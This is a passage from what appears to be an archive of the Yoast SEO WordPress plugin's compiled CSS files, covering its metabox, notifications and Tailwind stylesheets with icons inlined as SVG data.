0}.yoast-section__heading-icon-list{background-image:var(--yoast-svg-icon-list)}.yoast-section__heading-icon-key{background-image:var(--yoast-svg-icon-key)}.yoast-section__heading-icon-edit{background-image:var(--yoast-svg-icon-edit)}.yoast-tooltip.yoast-tooltip-hidden:after,.yoast-tooltip.yoast-tooltip-hidden:before{display:none}.screen-reader-text.wpseo-generic-tab-textual-score,.screen-reader-text.wpseo-keyword-tab-textual-score{display:block}.yoast-notice-go-premium{background:#f1f1f1;border-left-color:#a4286a;margin:0}@media screen and (max-width:782px){.wpseo-metabox-buy-premium .wpseo-buy-premium{display:inline-block;height:20px;margin-right:5px;padding:0;width:20px}.yoast-help-panel{max-width:none!important}#wpseo-crawl-issues-table-form .subsubsub{float:none;max-width:calc(100vw - 20px)}#wpseo-crawl-issues-table-form .yoast-help-button{margin-top:3px}.wpseotab select[multiple]{height:auto!important}}@media screen and (max-width:600px){.wpseotab.content{padding:16px 0}}.wpseo-score-icon-container{align-items:center;display:flex;height:20px;justify-content:center;margin-right:8px;width:20px}.yoast-seo-sidebar-panel .yoast-analysis-check{display:flex}.yoast-seo-sidebar-panel .yoast-analysis-check svg{margin-right:5px;margin-top:6px}.yoast-seo-sidebar-panel .yoast-analysis-check span{line-height:1.5;margin-top:3px}.yoast-seo-sidebar-panel div{line-height:2}.yoast-seo-sidebar-panel div svg{vertical-align:middle}ul.yoast-seo-social-share-buttons li{display:inline-block;margin-right:24px}ul.yoast-seo-social-share-buttons li .x-share svg{fill:#000;height:30px;width:30px}ul.yoast-seo-social-share-buttons svg{height:32px;margin-bottom:8px;width:32px}ul.yoast-seo-social-share-buttons a{align-items:center;display:flex;flex-direction:column}.yoast-field-group.yoast-wincher-post-publish{margin-bottom:10px}.edit-post-pinned-plugins button.components-button:not(.is-compact)[aria-label="Yoast SEO Premium"]>svg,.edit-post-pinned-plugins button.components-button:not(.is-compact)[aria-label="Yoast SEO"]>svg,div.interface-pinned-items button.components-button:not(.is-compact)[aria-label="Yoast SEO Premium"]>svg,div.interface-pinned-items button.components-button:not(.is-compact)[aria-label="Yoast SEO"]>svg{height:28px;max-height:28px;max-width:28px;width:28px}div.interface-pinned-items button.components-button.is-pressed[aria-label="Yoast SEO Premium"]>svg path,div.interface-pinned-items button.components-button.is-pressed[aria-label="Yoast SEO"]>svg path{fill:#fff}.wpseo-schema-icon{align-items:center;background-image:var(--yoast-svg-icon-schema);background-size:cover;display:flex;height:16px;justify-content:center;margin-right:8px;width:16px}.wpseo-metabox-menu ul li.active a .wpseo-schema-icon{background-image:var(--yoast-svg-icon-schema-active)}.yoast-icon-span svg{fill:inherit;margin-right:8px}.yoast.components-panel__body{border-top:0}.components-button>.yoast-title-container{flex-grow:1;line-height:normal;overflow-x:hidden}.yoast-title-container>.yoast-subtitle,.yoast-title-container>.yoast-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.yoast-title-container>.yoast-subtitle{font-size:.8125rem;font-weight:300;margin-top:2px}.yoast.components-panel__body .yoast-chevron{background-color:#1e1e1e;display:inline-block;height:24px;-webkit-mask-image:var(--yoast-svg-icon-chevron-down);mask-image:var(--yoast-svg-icon-chevron-down);-webkit-mask-size:100% 100%;mask-size:100% 100%;width:24px}.yoast.components-panel__body.is-opened .yoast-chevron{-webkit-mask-image:var(--yoast-svg-icon-chevron-up);mask-image:var(--yoast-svg-icon-chevron-up)}.yoast .components-panel__body-toggle{padding-right:16px}.yoast .components-form-token-field__remove-token.components-button,.yoast .components-form-token-field__token-text{background-color:var(--yoast-color-primary);color:var(--yoast-color-white)}.yoast .yoast-insights{color:#404040}.yoast .yoast-insights .yoast-field-group__title>b{color:var(--yoast-color-primary);font-size:16px;font-weight:var(--yoast-font-weight-default);line-height:1.2em}.yoast .yoast-insights-card__score{color:var(--yoast-color-primary);margin-block:0}.yoast .yoast-insights-card__description{line-height:1.4em}.yoast .yoast-prominent-words p,.yoast .yoast-prominent-words ul,.yoast .yoast-text-formality p{margin-block:1.2em}.yoast #wpseo-metabox-root .yoast-prominent-words{border-bottom:1px solid #0000001a;margin-bottom:24px;padding-bottom:24px}.yoast .yoast-insights .yoast-data-model--upsell li{color:#bbb}.yoast .yoast-insights .yoast-data-model--upsell li:after{background:#fdf4f8}wordpress-seo/css/dist/ai-fix-assessments-2420.css000064400000000275147510273070015747 0ustar00.yst-fixes-button__lock-icon{background-color:#fde68a;border-radius:50%;height:14px;padding:1px 2px;position:absolute;right:-6px;top:-6px;width:14px}.ai-button:disabled{pointer-events:auto}wordpress-seo/css/dist/notifications-2420.css000064400000026174147510273070015103 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.screen-reader-text{clip:rect(1px,1px,1px,1px);word-wrap:normal!important;border:0;-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;overflow:hidden;padding:0;position:absolute!important;width:1px}.yoast-notification{background:#fff;border-left:4px solid #fff;box-shadow:0 1px 2px #0003;padding:0 12px}.yoast-container{background-color:#fdfdfd;border:1px solid #e5e5e5;box-shadow:0 1px 1px #0000000a;margin:20px 0 1px;max-width:1280px;padding:20px 20px 0;position:relative}.yoast-notifications>h2:first-child{font-size:23px;font-weight:400;line-height:29px;margin:0;padding:9px 0 4px}.yoast-notifications .yoast-container h3{background-color:#fdfdfd;border-bottom:1px solid #ccc;font-size:1.4em;margin:-20px -20px 0;padding:1em}.yoast-container .container{max-width:980px}.yoast-container .yoast-notification-holder{display:flex;position:relative}.dismiss .dashicons,.restore .dashicons{font-size:20px;height:20px;width:20px}.yoast-bottom-spacing{margin-bottom:20px}.yoast-notifications .button.dismiss,.yoast-notifications .button.restore{background:#0000;border:none;border-radius:0;box-shadow:none;cursor:pointer;height:100%;line-height:inherit;outline:none;padding:0;position:absolute;right:0;width:52px}.yoast-notifications .button.dismiss:focus,.yoast-notifications .button.dismiss:hover,.yoast-notifications .button.restore:focus,.yoast-notifications .button.restore:hover{background:#0000}.yoast-notifications .button.dismiss:focus:before,.yoast-notifications .button.restore:focus:before{border-radius:50%;box-shadow:0 0 0 1px #007cba;content:"";display:block;height:32px;left:50%;outline:2px solid #0000;position:absolute;top:50%;transform:translate(-50%,-50%);width:32px}.yoast-container .separator{border-top:1px solid #ddd;margin-bottom:1em;margin-top:1em}.yoast-container .dashicons-yes{color:#77b227}.yoast-container-disabled{background-color:#e8e8e8b3;border-radius:4px;bottom:0;display:table-cell;left:0;position:absolute;right:0;top:0}.yoast-no-issues{color:#666;padding:1em 1em 1em 16px}.yoast-muted-title{font-style:italic;font-weight:600;overflow:hidden}.yoast-muted-title:after{border-top:1px solid #ddd;content:"";display:inline-block;height:.5em;margin-left:10px;margin-right:-100%;vertical-align:bottom;width:100%}.yoast-notifications-active .yoast-notification,.yoast-notifications-dismissed .yoast-notification{flex:1;padding-right:52px}.yoast-notifications-active .yoast-notification-holder{margin-bottom:20px}.yoast-notifications-dismissed.paper.tab-block{margin:20px 0}.yoast-notifications-dismissed.paper.tab-block .paper-container.toggleable-container{padding:0}.yoast-notifications-dismissed.paper.tab-block .paper-container.toggleable-container .yoast-notification-holder:nth-child(odd){background-color:#f7f7f7}.yoast-notifications-dismissed.paper.tab-block .paper-container.toggleable-container .yoast-notification-holder:nth-child(odd) .yoast-notification{background-color:initial}.yoast-notifications-dismissed .yoast-svg-icon-eye{background:#0000 var(--yoast-svg-icon-eye) no-repeat 0 0;background-size:20px}#yoast-errors-header .dashicons{color:#dc3232}#yoast-errors-active .yoast-notification{border-left-color:#dc3232}#yoast-errors-dismissed .yoast-notification{border-left-color:#d93f69}#yoast-warnings-header .dashicons{color:#5d237a}#yoast-warnings-active .yoast-notification{border-left-color:#5d237a}#yoast-warnings-dismissed .yoast-notification{border-left-color:#0075b3}wordpress-seo/css/dist/tailwind-2420-rtl.css000064400000417507147510273070014650 0ustar00.yst-root *,.yst-root :after,.yst-root :before{border:0 solid #e5e7eb;box-sizing:border-box}.yst-root :after,.yst-root :before{--tw-content:""}.yst-root{-webkit-text-size-adjust:100%;font-family:ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5;margin:0;tab-size:4}.yst-root hr{border-top-width:1px;color:inherit;height:0}.yst-root abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}.yst-root h1,.yst-root h2,.yst-root h3,.yst-root h4,.yst-root h5,.yst-root h6{font-size:inherit;font-weight:inherit}.yst-root a{color:inherit;text-decoration:inherit}.yst-root b,.yst-root strong{font-weight:bolder}.yst-root code,.yst-root kbd,.yst-root pre,.yst-root samp{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace;font-size:1em}.yst-root small{font-size:80%}.yst-root sub,.yst-root sup{font-size:75%;line-height:0;position:relative;vertical-align:initial}.yst-root sub{bottom:-.25em}.yst-root sup{top:-.5em}.yst-root table{border-collapse:collapse;border-color:inherit;text-indent:0}.yst-root button,.yst-root input,.yst-root optgroup,.yst-root select,.yst-root textarea{color:inherit;font-family:inherit;font-size:100%;font-weight:inherit;line-height:inherit;margin:0;padding:0}.yst-root button,.yst-root select{text-transform:none}.yst-root [type=button],.yst-root [type=reset],.yst-root [type=submit],.yst-root button{-webkit-appearance:button;background-color:initial;background-image:none}.yst-root :-moz-focusring{outline:auto}.yst-root :-moz-ui-invalid{box-shadow:none}.yst-root progress{vertical-align:initial}.yst-root ::-webkit-inner-spin-button,.yst-root ::-webkit-outer-spin-button{height:auto}.yst-root [type=search]{-webkit-appearance:textfield;outline-offset:-2px}.yst-root ::-webkit-search-decoration{-webkit-appearance:none}.yst-root ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.yst-root summary{display:list-item}.yst-root blockquote,.yst-root dd,.yst-root dl,.yst-root figure,.yst-root h1,.yst-root h2,.yst-root h3,.yst-root h4,.yst-root h5,.yst-root h6,.yst-root hr,.yst-root p,.yst-root pre{margin:0}.yst-root fieldset{margin:0;padding:0}.yst-root legend{padding:0}.yst-root menu,.yst-root ol,.yst-root ul{list-style:none;margin:0;padding:0}.yst-root textarea{resize:vertical}.yst-root input::placeholder,.yst-root textarea::placeholder{color:#6b7280;opacity:1}.yst-root [role=button],.yst-root button{cursor:pointer}.yst-root :disabled{cursor:default}.yst-root audio,.yst-root canvas,.yst-root embed,.yst-root iframe,.yst-root img,.yst-root object,.yst-root svg,.yst-root video{display:block;vertical-align:middle}.yst-root img,.yst-root video{height:auto;max-width:100%}.yst-root [type=date],.yst-root [type=datetime-local],.yst-root [type=email],.yst-root [type=month],.yst-root [type=number],.yst-root [type=password],.yst-root [type=search],.yst-root [type=tel],.yst-root [type=text],.yst-root [type=time],.yst-root [type=url],.yst-root [type=week]{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;border-color:#6b7280;border-radius:0;border-width:1px;font-size:1rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root [type=date]:focus,.yst-root [type=datetime-local]:focus,.yst-root [type=email]:focus,.yst-root [type=month]:focus,.yst-root [type=number]:focus,.yst-root [type=password]:focus,.yst-root [type=search]:focus,.yst-root [type=tel]:focus,.yst-root [type=text]:focus,.yst-root [type=time]:focus,.yst-root [type=url]:focus,.yst-root [type=week]:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:#2563eb;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root [type=date]::placeholder,.yst-root [type=datetime-local]::placeholder,.yst-root [type=email]::placeholder,.yst-root [type=month]::placeholder,.yst-root [type=number]::placeholder,.yst-root [type=password]::placeholder,.yst-root [type=search]::placeholder,.yst-root [type=tel]::placeholder,.yst-root [type=text]::placeholder,.yst-root [type=time]::placeholder,.yst-root [type=url]::placeholder,.yst-root [type=week]::placeholder{color:#6b7280;opacity:1}.yst-root [type=date]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=datetime-local]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=email]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=month]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=number]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=password]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=search]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=tel]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=text]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=time]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=url]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=week]::-webkit-datetime-edit-fields-wrapper{padding:0}.yst-root [type=date]::-webkit-date-and-time-value,.yst-root [type=datetime-local]::-webkit-date-and-time-value,.yst-root [type=email]::-webkit-date-and-time-value,.yst-root [type=month]::-webkit-date-and-time-value,.yst-root [type=number]::-webkit-date-and-time-value,.yst-root [type=password]::-webkit-date-and-time-value,.yst-root [type=search]::-webkit-date-and-time-value,.yst-root [type=tel]::-webkit-date-and-time-value,.yst-root [type=text]::-webkit-date-and-time-value,.yst-root [type=time]::-webkit-date-and-time-value,.yst-root [type=url]::-webkit-date-and-time-value,.yst-root [type=week]::-webkit-date-and-time-value{min-height:1.5em}.yst-root [type=date]::-webkit-datetime-edit,.yst-root [type=date]::-webkit-datetime-edit-day-field,.yst-root [type=date]::-webkit-datetime-edit-hour-field,.yst-root [type=date]::-webkit-datetime-edit-meridiem-field,.yst-root [type=date]::-webkit-datetime-edit-millisecond-field,.yst-root [type=date]::-webkit-datetime-edit-minute-field,.yst-root [type=date]::-webkit-datetime-edit-month-field,.yst-root [type=date]::-webkit-datetime-edit-second-field,.yst-root [type=date]::-webkit-datetime-edit-year-field,.yst-root [type=datetime-local]::-webkit-datetime-edit,.yst-root [type=datetime-local]::-webkit-datetime-edit-day-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-hour-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-meridiem-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-millisecond-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-minute-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-month-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-second-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-year-field,.yst-root [type=email]::-webkit-datetime-edit,.yst-root [type=email]::-webkit-datetime-edit-day-field,.yst-root [type=email]::-webkit-datetime-edit-hour-field,.yst-root [type=email]::-webkit-datetime-edit-meridiem-field,.yst-root [type=email]::-webkit-datetime-edit-millisecond-field,.yst-root [type=email]::-webkit-datetime-edit-minute-field,.yst-root [type=email]::-webkit-datetime-edit-month-field,.yst-root [type=email]::-webkit-datetime-edit-second-field,.yst-root [type=email]::-webkit-datetime-edit-year-field,.yst-root [type=month]::-webkit-datetime-edit,.yst-root [type=month]::-webkit-datetime-edit-day-field,.yst-root [type=month]::-webkit-datetime-edit-hour-field,.yst-root [type=month]::-webkit-datetime-edit-meridiem-field,.yst-root [type=month]::-webkit-datetime-edit-millisecond-field,.yst-root [type=month]::-webkit-datetime-edit-minute-field,.yst-root [type=month]::-webkit-datetime-edit-month-field,.yst-root [type=month]::-webkit-datetime-edit-second-field,.yst-root [type=month]::-webkit-datetime-edit-year-field,.yst-root [type=number]::-webkit-datetime-edit,.yst-root [type=number]::-webkit-datetime-edit-day-field,.yst-root [type=number]::-webkit-datetime-edit-hour-field,.yst-root [type=number]::-webkit-datetime-edit-meridiem-field,.yst-root [type=number]::-webkit-datetime-edit-millisecond-field,.yst-root [type=number]::-webkit-datetime-edit-minute-field,.yst-root [type=number]::-webkit-datetime-edit-month-field,.yst-root [type=number]::-webkit-datetime-edit-second-field,.yst-root [type=number]::-webkit-datetime-edit-year-field,.yst-root [type=password]::-webkit-datetime-edit,.yst-root [type=password]::-webkit-datetime-edit-day-field,.yst-root [type=password]::-webkit-datetime-edit-hour-field,.yst-root [type=password]::-webkit-datetime-edit-meridiem-field,.yst-root [type=password]::-webkit-datetime-edit-millisecond-field,.yst-root [type=password]::-webkit-datetime-edit-minute-field,.yst-root [type=password]::-webkit-datetime-edit-month-field,.yst-root [type=password]::-webkit-datetime-edit-second-field,.yst-root [type=password]::-webkit-datetime-edit-year-field,.yst-root [type=search]::-webkit-datetime-edit,.yst-root [type=search]::-webkit-datetime-edit-day-field,.yst-root [type=search]::-webkit-datetime-edit-hour-field,.yst-root [type=search]::-webkit-datetime-edit-meridiem-field,.yst-root [type=search]::-webkit-datetime-edit-millisecond-field,.yst-root [type=search]::-webkit-datetime-edit-minute-field,.yst-root [type=search]::-webkit-datetime-edit-month-field,.yst-root [type=search]::-webkit-datetime-edit-second-field,.yst-root [type=search]::-webkit-datetime-edit-year-field,.yst-root [type=tel]::-webkit-datetime-edit,.yst-root [type=tel]::-webkit-datetime-edit-day-field,.yst-root [type=tel]::-webkit-datetime-edit-hour-field,.yst-root [type=tel]::-webkit-datetime-edit-meridiem-field,.yst-root [type=tel]::-webkit-datetime-edit-millisecond-field,.yst-root [type=tel]::-webkit-datetime-edit-minute-field,.yst-root [type=tel]::-webkit-datetime-edit-month-field,.yst-root [type=tel]::-webkit-datetime-edit-second-field,.yst-root [type=tel]::-webkit-datetime-edit-year-field,.yst-root [type=text]::-webkit-datetime-edit,.yst-root [type=text]::-webkit-datetime-edit-day-field,.yst-root [type=text]::-webkit-datetime-edit-hour-field,.yst-root [type=text]::-webkit-datetime-edit-meridiem-field,.yst-root [type=text]::-webkit-datetime-edit-millisecond-field,.yst-root [type=text]::-webkit-datetime-edit-minute-field,.yst-root [type=text]::-webkit-datetime-edit-month-field,.yst-root [type=text]::-webkit-datetime-edit-second-field,.yst-root [type=text]::-webkit-datetime-edit-year-field,.yst-root [type=time]::-webkit-datetime-edit,.yst-root [type=time]::-webkit-datetime-edit-day-field,.yst-root [type=time]::-webkit-datetime-edit-hour-field,.yst-root [type=time]::-webkit-datetime-edit-meridiem-field,.yst-root [type=time]::-webkit-datetime-edit-millisecond-field,.yst-root [type=time]::-webkit-datetime-edit-minute-field,.yst-root [type=time]::-webkit-datetime-edit-month-field,.yst-root [type=time]::-webkit-datetime-edit-second-field,.yst-root [type=time]::-webkit-datetime-edit-year-field,.yst-root [type=url]::-webkit-datetime-edit,.yst-root [type=url]::-webkit-datetime-edit-day-field,.yst-root [type=url]::-webkit-datetime-edit-hour-field,.yst-root [type=url]::-webkit-datetime-edit-meridiem-field,.yst-root [type=url]::-webkit-datetime-edit-millisecond-field,.yst-root [type=url]::-webkit-datetime-edit-minute-field,.yst-root [type=url]::-webkit-datetime-edit-month-field,.yst-root [type=url]::-webkit-datetime-edit-second-field,.yst-root [type=url]::-webkit-datetime-edit-year-field,.yst-root [type=week]::-webkit-datetime-edit,.yst-root [type=week]::-webkit-datetime-edit-day-field,.yst-root [type=week]::-webkit-datetime-edit-hour-field,.yst-root [type=week]::-webkit-datetime-edit-meridiem-field,.yst-root [type=week]::-webkit-datetime-edit-millisecond-field,.yst-root [type=week]::-webkit-datetime-edit-minute-field,.yst-root [type=week]::-webkit-datetime-edit-month-field,.yst-root [type=week]::-webkit-datetime-edit-second-field,.yst-root [type=week]::-webkit-datetime-edit-year-field{padding-bottom:0;padding-top:0}.yst-root textarea{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;border-color:#6b7280;border-radius:0;border-width:1px;font-size:1rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root 